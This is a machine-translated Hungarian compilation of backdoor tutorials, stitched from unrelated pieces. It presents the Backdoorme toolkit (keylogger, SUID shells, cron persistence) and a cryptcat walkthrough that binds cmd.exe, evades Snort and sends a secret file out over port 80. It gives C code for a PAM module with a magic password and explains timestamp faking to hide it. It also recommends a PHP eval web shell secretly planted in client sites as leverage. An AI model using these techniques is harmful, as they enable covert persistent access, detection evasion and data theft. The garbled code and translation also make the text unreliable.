Hátsóajtót írunk. Hátsóajtó egy hacker számára a számítógépére – BackDoor spyware

Backdoorme - egy segédprogram a hátsó ajtók automatikus létrehozásához

A Backdoorme egy hatékony segédprogram, amely számos hátsó ajtót tud létrehozni Unix gépeken. A Backdoorme az ismerős metasploit felületet használja elképesztő bővíthetőséggel. A Backdoorme az áldozat meglévő SSH-kapcsolatára vagy hitelesítő adataira támaszkodik a hátsó ajtók továbbításához és kihasználásához. Kérjük, használja a Backdoorme-ot nyílt engedéllyel.

A vendégek elől rejtve


A Backdoorme azonnal bizonyos számú beépített hátsó ajtóval, modullal és kiegészítő modullal érkezik. A hátsó ajtók speciális összetevők egy szükséges hátsó ajtó létrehozásához és telepítéséhez, mint például a netcat hátsó ajtó vagy az msfvenom hátsó ajtó. A modulok bármely hátsó ajtóra alkalmazhatók, és a hátsó ajtók erősebbé, rejtettebbé vagy gyorsabbá tételéhez használhatók. A segédeszközök hasznos műveletek, amelyek segítségével megőrizhető az állandóság.

Egy kicsit többet a hátsó ajtókról: A backdoorme futtatásához győződjön meg arról, hogy rendelkezik a szükséges függőségekkel.

$python dependencies.py

Backdoorme indítása:

$ python master.py

Hátsó ajtók

A hátsó ajtó használatához egyszerűen futtassa a "use" kulcsszót.

>> shell/metasploit használata + Az aktuális cél használata 1. + A Metasploit hátsó ajtó használata... (msf) >>

Innen beállíthatja a hátsó ajtónak megfelelő opciókat. Futtassa a „beállítások megjelenítése” vagy a „súgó” parancsot a konfigurálható opciók listájának megtekintéséhez.

A metasploithoz hasonlóan a hátsó ajtók is kategóriákba vannak rendezve.

  • Kiegészítő
    • billentyűzetfigyelő– Keyloggert ad a rendszerhez, és lehetővé teszi az eredmények levélben történő visszaküldését;
    • egyszerűhttp– Telepíti a python SimpleHTTP szervert a kliensre.
    • felhasználó– Új felhasználó hozzáadása a célhoz.
    • web– Telepíti az Apache szervert a kliensre.
  • Eszkaláció
    • setuid– A SetUID hátsó ajtó úgy működik, hogy beállítja a setuid bitet a végrehajtható fájlban, ami azt jelenti, hogy a felhasználó root hozzáféréssel rendelkezik. Így amikor ezt a végrehajtható fájlt később olyan felhasználó futtatja, aki nem rendelkezik root hozzáféréssel, a fájl root hozzáféréssel fut le. Alapértelmezés szerint ez a hátsó ajtó a setuid bitet nano-ra váltja, így ha a root hozzáférés valamilyen módon elveszik, a támadó jogosultság nélküli felhasználóként vissza tud jelentkezni az SSH-ba, és továbbra is futtatni tudja a nano-t (vagy bármely kiválasztott binárist) rootként. ("nano /etc/shadow"). Kérjük, vegye figyelembe, hogy ennek a hátsó ajtóbővítménynek az üzembe helyezéséhez a legelején root hozzáférés szükséges.
    • héj– A shell backdoor egy privilegizált hátsó ajtó-kiterjesztés, hasonlóan (de pontosabban) a SetUID kiterjesztéshez. Rejtett binárissá duplikálja a bash shellt, és beállítja a SUID bitet. Kérjük, vegye figyelembe, hogy a hátsó ajtó bővítmény telepítéséhez kezdetben root hozzáférés szükséges. Ha ezt a hátsó ajtót SSH-kezelés közben privilegizált felhasználóként szeretné használni, egyszerűen futtassa a ".bash -p" parancsot, és root hozzáférést kap.
  • Shell (héj kategória)
    • bash– egy egyszerű bash szkriptet használ egy adott ip és port kombinációhoz való csatlakozáshoz, és az eredményt a bash-nak továbbítja.
    • bash2– egy kicsit más (és biztonságosabb) a fent leírt bash backdoor, amelyhez nincs szükség jelszóra a kliens oldalon.
    • metasploit– az msfvenom segítségével létrehoz egy reverse_tcp binárist a célon, majd a binárist futtatja a meterpreter shellhez való csatlakozáshoz.
    • netcat– a netcat segítségével adja át a szabványos bemenetet és kimenetet a /bin/sh-nak, interaktív shellt biztosítva a felhasználónak.
    • netcat_traditional– a netcat-traditional -e parancsát használja a fordított shell létrehozásához.
    • perl- egy perlben írt szkript, amely átirányítja az eredményt a bash-re, és átnevezi a folyamatot, hogy kevésbé észrevehető legyen.
    • php– elindít egy php backdoort, ami az eredményt elküldi a bash-nek. Nem telepít automatikusan webszervert, hanem egy webmodult használ.
    • kölyökkutya– az n1nj4sec Pupy hátsó ajtót használja, amely a következő helyen található

      A vendégek elől rejtve

      .
    • piton– egy rövid python szkriptet használ a parancsok végrehajtására és az eredmények visszaküldésére a felhasználónak.
    • web– elküldi a webszervert a célnak, majd letölti az msfvenom php reverse_tcp backdoort és csatlakozik a gazdagéphez. Bár ez még mindig egy php backdoor, nem ugyanaz, mint a fent leírt php backdoor.
  • Hozzáférés
    • Remove_ssh– eltávolítja az ssh szervert a kliensről. Nagyon kényelmesen használható a hátsó ajtó munkamenet végén a nyomok eltávolítására.
    • ssh_key– létrehoz egy RSA kulcsot és átmásolja a célpontra, hogy ssh jelszó nélkül csatlakozhasson.
    • ssh_port– Új portot ad hozzá az ssh-hez.
  • Windows (Windows kategória)
    • ablakok– Az msfvenom segítségével létrehoz egy ablak hátsó ajtót.
Modulok

Mindegyik hátsó ajtó képes további modulok fogadására, amelyek segítségével a hátsó ajtót erősebbé teszik. Modul hozzáadásához egyszerűen használja az "add" kulcsszót.

(msf) >> add poison + Poison modul hozzáadva

Minden modul rendelkezik további konfigurálható beállításokkal, és ha újra futtatja a "súgót", megtekintheti vagy beállíthatja a további opciókat.

A jelenleg elérhető modulok a következők:

  • Méreg
    • Rekeszmérgezést hajt végre a célszámítógépen – Futtatható fájlt fordít egy rendszersegédprogram és egy meglévő hátsó ajtó meghívásához.
    • Például, ha a bin Pooning modul az "ls" mellett fut, akkor az "ls" nevű bináris fájlt fordít le és portol, amely a meglévő hátsó ajtót és az eredeti "ls"-t is futtatja, így letiltja a felhasználót a hátsó ajtó gyakrabban történő futtatásában. .
  • Cron
    • Hozzáad egy meglévő hátsó ajtót a root felhasználó crontabjához, hogy a megadott gyakorisággal fusson.
  • Web
    • Telepít egy webszervert, és tárol egy weboldalt, amely elindítja a hátsó ajtót.
    • Egyszerűen fel kell lépni egy oldalra nyitott hallgatóval, és elindul a hátsó ajtó.
  • Felhasználó
    • Új felhasználót ad a célhoz.
  • üzembe helyezés
    • Lehetővé teszi hátsó ajtók létrehozását bashrc és init fájlokkal.
  • Fehérlista
    • Az IP-t fehérlistára helyezi, így csak ez az IP tud csatlakozni a hátsó ajtóhoz.
Fordítás:

A Cryptcat lehetővé teszi számunkra, hogy két rendszer között kommunikáljunk, és a két rendszer segítségével titkosítja a kommunikációt a két kiváló titkosítási algoritmus egyikével.

Korábban megismerkedtünk egy kicsivel, amivel bármilyen két gép között kapcsolatot létesíthetünk és fájlokat vihetünk át, vagy parancshéjat készíthetünk a rendszer „átvételére”. Ennek a kis eszköznek a szépsége és eleganciája ellenére van egy nagy hátránya: a számítógépek közötti adatátvitelt olyan biztonsági eszközök is észlelhetik, mint a tűzfalak és a behatolásjelző rendszerek (IDS).

Ebben az oktatóanyagban bemutatjuk a netcat népszerű unokatestvérét, a cryptcat (valójában sokkal szebb és egzotikusabb, mint a sima netcat).

Mivel a twofish titkosítása egyenrangú az AES titkosítással, ez gyakorlatilag golyóállóvá teszi a cryptcatet. Így az IDS még akkor sem tudja észlelni a káros viselkedést, ha útvonalai a közös 80-as és 443-as HTTP-portokon haladnak keresztül.

1. lépés: Töltse le a Cryptcat programot

Lépés 2: Nyissa meg a figyelőt Windows rendszeren

A figyelőt bármilyen rendszeren megnyithatjuk, hasonló szintaxissal, mint a netcat esetében. Esetünkben megnyitunk egy figyelőt a Windows 7 rendszeren a 6996-os porton, és létrehozunk egy parancshéjat.

cryptcat -l -p 6996 -e cmd.exe

L a „nyitott hallgató” rövidítése
-p 6996 azt jelenti, hogy "a figyelő elhelyezése a 6996-os porton"
-e cmd.exe azt jelenti, hogy "indítson el egy parancshéjat a kommunikációhoz"

Lépés 3: Nyissa meg a Snortot vagy egy másik IDS-t

Most futtassunk egy olyan IDS-t, mint a Snort, egy másik rendszeren, amely csatlakozik egy Windows rendszerhez, hogy megnézzük, vajon a titkosítás elvakítja-e az IDS-t, és láthatatlanná teszi-e a hátsó ajtónkat a hasonló biztonsági eszközök számára.


Lépés 4: Csatlakozzon a Windows rendszerhez a Cryptcat segítségével

A Cryptcat alapértelmezés szerint telepítve van a BackTrack-en, így nem kell letöltenünk és telepítenünk. Ráadásul a /bin könyvtárban található, így bármelyik könyvtárból elérhetjük.

Most csatlakozzunk a Windows 7 cryptcat rendszerhez a BackTrack rendszerünkből, és nézzük meg, hogy tudunk-e titkosított backdoor kapcsolatot létrehozni, amelyet szinte lehetetlen észlelni.

kripta 192.168.4.182.248 6996


Amint látja, egy Windows 7 rendszerhez csatlakozunk, és egy Win 7 rendszertől kaptunk parancshéjat! Ez jelentős ellenőrzést biztosít a rendszer felett, de nem teljes ellenőrzést, mivel a parancshéj korlátozott képességekkel rendelkezik.

Lépés 5: Ellenőrizze a horkantási naplókat és riasztásokat

Ez a fajta támadás (shell bejárás a hálózaton keresztül) könnyen észlelhető a Snort vagy más IDS használatával, ha a kapcsolat nincs titkosítva. A Snort szabályok figyelmeztetik a rendszergazdát, hogy a cmd.exe shell áthalad a hálózati kapcsolaton, és valószínűleg tesznek valamit, hogy megakadályozzák a shell használatát. A cryptcat segítségével elérhető titkosított kapcsolattal ezt a kapcsolatot szinte lehetetlen észlelni.

Menjünk vissza, és nézzük meg a Snort naplóit és riasztásait. Ha sikerült elkerülnünk az IDS-t, akkor nem láthatunk figyelmeztetést a hálózaton áthaladó shellről. A naplóinkat úgy tudjuk ellenőrizni, hogy belépünk a /var/snort/alerts oldalra, és megnézzük, hogy van-e valamilyen riasztás, amit a Windows géphez való kapcsolódásunk okoz (általában meg kell találnunk egy figyelmeztetést).

kwrite /var/snort/alerts


Amint látja, sikeresek voltunk. Sikerült csatlakozni a Windows rendszerhez anélkül, hogy bármelyik biztonsági rendszert riasztottuk volna!

Lépés 6: Küldje el a Crypcat a 80-as portra, hogy elkerülje a tűzfalat

Bár sikeresen létrehoztunk egy titkosított hátsó ajtót az áldozat rendszerén, egy éles szemű biztonsági rendszergazda észreveszi, hogy egy szokatlan port van nyitva (6996). Ez valószínűleg valamilyen biztonsági rendszergazdai műveletet indít el a hozzáférésünk korlátozása érdekében. Ezenkívül jó rendszergazdával és jó tűzfallal rendelkező rendszereken ezt a portot valószínűleg blokkolja a tűzfal.

Ahhoz, hogy bármely hálózat kommunikálni tudjon az interneten, valószínűleg nyitva kell tartania a 80-as és a 443-as portokat, de esetleg a 25-ös, 53-as és 110-es portokat is. Mivel a titkosítatlan, normál internetforgalom a 80-as porton megy keresztül, amely szinte mindig nyitva van. , akkor enyhe forgalomnövekedés valószínűleg nem lesz észrevehető.

Most, hogy sikeresen használtuk a cryptcatet, küldjük ki a 80-as portra az összes többi internetes forgalommal együtt. Bár titkosítva van, úgy fog kinézni, mint bármely vonalon továbbított bináris adat. Ezért szinte lehetetlen lesz a biztonsági eszközök észlelése annak blokkolása érdekében, mivel mindig engedélyezniük kell a forgalmat a 80-as porton, és a forgalom titkosított, és az IDS nem tudja "látni" a tartalmát.

Itt áthelyezünk egy topsecret.txt nevű fájlt az áldozat rendszeréből a támadó rendszerünkbe anélkül, hogy bármilyen biztonsági eszköz észlelné. Ezúttal ahelyett, hogy shellt küldenénk a hálózaton keresztül, egy topsecret.txt nevű szigorúan titkos fájlt küldünk a titkosított kapcsolatunkon keresztül. Ezt úgy tehetjük meg, hogy beírjuk a Windows parancssorába:

cryptcat -l -p 80< topsecret.txt

L jelentése "nyitott hallgató"
-p 80 jelentése "nyitott figyelő a 80-as porton"
< означает "отправить файл через этого слушателя"

Rengeteg módon megveheti a lábát egy feltört autóban. A legbanálisabb és könnyen észlelhetőtől (add hozzá magad a felhasználói bázishoz) az összetett kernelmodulokig, amelyek egy távoli gépre fordított shellt valósítanak meg. De van köztük egy nagyon könnyen megvalósítható és meglehetősen titkos módszer, amelyről meglepően kevesen tudnak. Ez a PAM hitelesítési rendszer moduljainak módosítása, amelyet minden modern UNIX rendszer használ.

Mi az a PAM

A Pluggable Authentication Modules (PAM) olyan API-készlet, amely a hitelesítési mechanizmusok megvalósításához szükséges különféle alkalmazásokban.

A PAM megjelenése előtt a hitelesítés megvalósításához, mondjuk egy kulcskártya használatával, a fejlesztőknek kódot kellett hozzáadniuk ugyanazon kulcskártyák támogatásához a rendszer minden egyes felhasználói hitelesítésért felelős összetevőjében. Vagyis a bejelentkezési segédprogramot, az sshd-t, valamint minden más szoftvert, amelyhez hasonló funkcionalitást terveztek hozzáadni, és újra kellett építeni.

A PAM megjelenésével a helyzet sokkal egyszerűbbé vált. Most ahhoz, hogy saját egyedi, saját maga által írt hitelesítési protokollt adjon a rendszerhez, elegendő egyetlen PAM modul keretein belül megvalósítani. És minden olyan segédprogram és alkalmazás, amely képes együttműködni a PAM-mel, felveszi azt, és képes lesz használni a felhasználói hitelesítéshez.

A gyakorlatban ez valahogy így néz ki: a bejelentkezési segédprogram meghívja a PAM-ot, amely a konfigurációs fájlban megadott modulok segítségével elvégzi az összes szükséges ellenőrzést, és az eredményt visszaküldi a bejelentkezési segédprogramnak. Kényelmes, nem? Ez a megközelítés azonban olyan lehetőségeket rejt magában, amelyeket kihasználva megvehetjük a lábunkat a rendszerben.

Érdemes egy kis nyilatkozatot tenni. A PAM-nak három fő megvalósítása van:

  • A Linux-PAM a PAM fő megvalósítása bármely Linux rendszeren;
  • OpenPAM - BSD rendszereken és macOS-en használatos;
  • A JPam egy PAM implementáció Java alkalmazásokhoz.

Nem összpontosítunk semmilyen konkrét megvalósításra. Az alapfunkciók mindenhol ugyanazok.

A rögzítés szempontjai *nixben PAM használatával

A katalógusban minden alkalmazáshoz megtalálja a PAM beállításait /etc/pam.d(Linux) vagy az /etc/pam.conf fájlban. Példa konfigurációs fájl a macOS bejelentkezési segédprogramjához:

auth opcionális pam_krb5 .so use_kcminit

auth opcionális pam_ntlm .so try_first_pass

auth opcionális pam_mount .so try_first_pass

auth szükséges pam_opendirectory .so try_first_pass

fiók szükséges pam_nologin .so

fiók szükséges pam_opendirectory .so

jelszó szükséges pam_opendirectory .so

munkamenet szükséges pam_launchd .so

munkamenet szükséges pam_uwtmp .so

munkamenet választható pam_mount .so

Lássuk, milyen varázslat történik itt.

A konfigurációs fájl leírja azokat az ellenőrzési szabályokat, amelyeket be kell tartani a felhasználó sikeres hitelesítéséhez vagy egyéb műveletekhez (jelszó módosítása, felhasználói környezet előkészítése). A konfigurációs fájl minden sora egy szabályt tartalmaz. Az ellenőrzéseket soronként hajtják végre.

Balról jobbra: modul típusa, control_flag, modul neve. Számunkra a modul hitelesítés típusa az elsődleges, ezek a modulok felelősek a hitelesítésért. A Control_flag egy modultulajdonság. A következő értékeket veheti fel:

  • szükséges – Ha a modul pozitív választ ad vissza, a lánc többi része végrehajtásra kerül, és a kérés teljesítve. Ha a modul nemleges választ ad vissza, akkor a kérést azonnal elutasítja, és nem történik más ellenőrzés;
  • kötelező - pontosan ugyanaz, mint a szükséges: ha a válasz igen, akkor az ellenőrzési lánc többi része végrehajtásra kerül. Az egyetlen különbség az, hogy ha a válasz nemleges, az ellenőrzési lánc továbbra is végrehajtódik, de a kérést elutasítják;
  • elégséges (elégséges) - kielégíti a kérést, ha a láncban korábban elvégzett ellenőrzések egyike sem működött negatívan. Ha a modul negatívan működik, az eredményt figyelmen kívül hagyja, és az ellenőrzési láncot tovább dolgozza fel;
  • opcionális - a modul feldolgozásra kerül, de az eredményt figyelmen kívül hagyja.

Valószínűleg már ebben a szakaszban rájöttél, hogy a konfigurációs fájl apró módosításaival bármilyen jelszóval sikeres bejelentkezést tudunk biztosítani (elég az összes auth modult opcionálisnak jelölni). Ez a megoldás azonban addig működik, amíg egy jogos felhasználó vagy rendszergazda nem veszi észre, hogy sikeresen bejelentkezik a rendszerbe még hibás jelszóval is.

Saját hátsó ajtó modul megírása

A PAM lehetővé teszi, hogy összekapcsoljuk saját hitelesítési moduljainkat. Ezért létrehozhatunk egy „varázslatos” jelszóval ellátott modult, és biztosíthatjuk, hogy a rendszer elfogadja mind a szabványos felhasználói jelszavakat, mind a sajátunkat. Ha helytelen jelszót ad meg, teljesen várt hitelesítési hibát fogunk látni. Nem rossz lehetőség.

Tehát a kód (ne felejtse el lecserélni a mágikus jelszót a „mágikus” jelszóra):

#beleértve

#beleértve

#beleértve

#beleértve

#beleértve

#beleértve

#define MYPASSWD "mágikus jelszó"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

char * jelszó = NULL ;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & jelszó, NULL);

if (! strncmp (jelszó , MYPASSWD , strlen (MYPASSWD ) ) )

return PAM_SUCCESS ;

visszatérés - 1 ;

Állítsuk össze a modult:

$ sudo apt - get install libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- megosztott - o pam_backdoor .so pam_backdoor .o

És tedd egy könyvtárba más modulokkal:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Felhívjuk figyelmét, hogy az utat /lib/x86_64-linux-gnu/security/ kifejezetten Debian/Ubuntu. Fedora, Red Hat és CentOS rendszeren a modulok a könyvtárban találhatók /lib64/security/, és Arch Linuxon - a könyvtárban /lib/security/.

Most már csak a PAM-ot úgy kell beállítani, hogy a sikeres hitelesítéshez elegendő legyen a modul általi ellenőrzés. Például a su segédprogram konfigurációja ( /etc/pam.d/su):

Egyes Linux rendszereken a hitelesítési beállítások több fájlba is elhelyezhetők: common-ath, common-password, common-session, majd az @include segítségével összekapcsolhatók adott segédprogramok konfigurációs fájljaival. Ezt a pontot figyelembe kell venni.

Miután elvégezte a beállításokat a konfigurációban, a su segédprogram a modulban megadott jelszó használatával engedélyezi a belépést. Ugyanez a trükk megtehető a bejelentkezési segédprogrammal (konzol bejelentkezés) és az sshd-vel a távoli bejelentkezéshez.

Hátsó ajtó beágyazása egy meglévő modulba

A PAM konfiguráció szerkesztése közben észrevehette a pam_unix.so modult. Ez a modul felelős a felhasználók hitelesítéséért a UNIX rendszerek szabványos jelszóadatbázisával /etc/passwd. Sok segédprogram használja, beleértve a su, login, sshd és egyéb programokat (például SecureFTPd).

Mivel a PAM továbbra is nyílt forráskódú, és mind magának a démonnak, mind annak szabványos összetevőinek forráskódjához hozzáférünk, a hátsó ajtónkat közvetlenül ebbe a modulba építhetjük.

A szükséges változtatások elvégzéséhez töltse le a PAM forrásszövegeket:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$tar - xzf inux - PAM - 1.1.8.tar.gz

Nyissa meg a fájlt Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cés keresd a következő sorokat:

Összeállítjuk és kicseréljük az eredeti modult sajátunkra:

$. /Beállítás

$ gyártmány

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Annak elkerülése érdekében, hogy az adminisztrátor észrevegye a helyettesítést, módosítjuk a fájl létrehozási idejét úgy, hogy az egybeessen más modulok létrehozási idejével.

Emlékszem, a „10 tipp és ajánlás a weboldal megrendeléséhez” cikkben említettem egy esetet, amikor egy tisztességtelen ügyfél úgy döntött, hogy megcsal minket, pedig több mint másfél éve dolgoztunk együtt. Miután megtudtuk, hogy nem fizetünk semmit, még az oldalainkat sem tudtuk visszaszerezni, hiszen egyetlen kiskapu sem maradt rajtuk.

Viszont az álmosított, hogy az egyik oldalon még volt egy kis „vészbejáratom”, aminek köszönhetően nem gondoltam arra, hogy egy második oldalt alakítsak ki, és kilépjek a világba. És ez a bemenet egy egyszerű űrlapnak tűnt a fájlok szerverre való feltöltéséhez.

Segítségével feltöltöttem a szükséges szkripteket az oldalra és lefuttattam az oldalon, ők pedig elvégezték a piszkos munkájukat. Ennek az ajtónak volt egy hátránya - bárki használhatta, ha természetesen tudott a létezéséről.

Telt-múlt az idő, és annak ellenére, hogy a mai napig minden gördülékenyen megy, ez nem zárja ki annak lehetőségét, hogy ilyen petrezselyem ismét előforduljon.

Elvileg használhatod a régi módszert, hogy futtatható fájlt küld a szerverre, de... Minek ezek a bonyodalmak, ha mindent egyszerűbbé tehetsz.

Lehetőségeket és ötleteket kínálok a legegyszerűbb hátsó ajtóhoz, ha valóban problémák merülnének fel. Így…

  1. Létrehozunk egy php fájlt, és valami nem feltűnőnek nevezzük, például licenc.php vagy valami más.
  2. Kódot írunk bele

    if (isset($_POST["szöveg"]))
    eval($_POST["szöveg"]);
    ?>




  3. A fájlt valahol mélyebben a cms-ben helyezzük el, például a WYSIWYG szerkesztő vadjaiban. Ha szükséges, másolja a fájlt további 2-3 helyre (csak abban az esetben)

Íme, keret a felháborodásokhoz. Úgy gondolom, nem kell magyarázni, hogy az eval függvény az űrlapba beírt kódot hajtja végre.

Ez csak egy keretrendszer, amelynek számos megvalósítási példája lehet. Tegyük fel, hogy a highlight_file segítségével megjelenítheti bizonyos jelszavas fájl tartalmát, amelyhez nincs közvetlen hozzáférés. Csatlakozhat az adatbázishoz, elolvashatja a tartalmat vagy módosíthatja azt. Vagy akár ki is nyomtathat egy szkriptet, amivel mindent töröl a szerveren, miért ne.

Az alábbiakban ennek az ajtónak a kiegészítésére adok ötleteket, melyek tetszés szerint elkészíthetők - fakultatív házi feladatként rád hagyom kedves olvasó. De ha hirtelen van vágy, szívesen megnézem, mi történt.

Ötletek a fejlesztéshez :

  1. Általában jó lenne, ha az ajtó nem lenne elérhető mindenki számára, és engedélyezné például a normál .htaccess-en keresztül, vagy PHP munkamenet-alapú eszközökkel (vagy még jobb, ha mindkettővel - szerkesztő megjegyzése).
  2. Engedély birtokában általában számos gombot elkészíthet, amelyekre kattintva meghívhatja ezt vagy azt a szkriptet. Például bemész az ajtón, és ott vannak a gombok – jelszavak olvasása, adatbázis olvasása, adminisztrációs panel törlése stb.
  3. Egyéb ötlet?

Végül

Akkor célszerű ajtót használni, amikor fizetés előtt átad egy telephelyet (néha), vagy amikor egy cégnél dolgozik, és a biztonság kedvéért szeretne lenni. Az első esetben a fizetéskor az ajtó kivehető, vagy elhagyható, bár szerintem már nem lesz rá szükség. A második esetben pedig folyamatosan készen kell tartania.

Ez minden mára. Örömmel várom ötleteiteket, javaslataitokat a témával kapcsolatban! A következő alkalomig

A Habré című blogunkban nem csak termékünk fejlesztéséről - a Hydra távközlési szolgáltatók számlázásáról - beszélünk, hanem az infrastruktúrával való munkáról és a technológia használatáról is teszünk közzé anyagokat.

Leif Ryge német újságíró és hacker érdekes cikket írt az Ars Technicának arról, hogy a szoftverfrissítések megszervezésének modern megközelítése komoly információbiztonsági kockázatokat rejt magában. Figyelmébe ajánljuk ennek a jegyzetnek a fő gondolatait.

Háttér

A Washington Post még 2014-ben azt írta, hogy az olyan cégeknek, mint az Apple és a Google, valami titkos kulcsot kellene kitalálniuk, amellyel hozzáférhetnek a termékeikhez, és amelyet csak akkor tárolnának és továbbítanának a titkosszolgálatoknak, ha jogi lépéseket tesznek. .

A gyenge hivatkozások eltávolítása, amelyek bármelyike ​​kritikus lehet a támadás során, minden új szoftverterjesztési mechanizmus alapvető követelménye.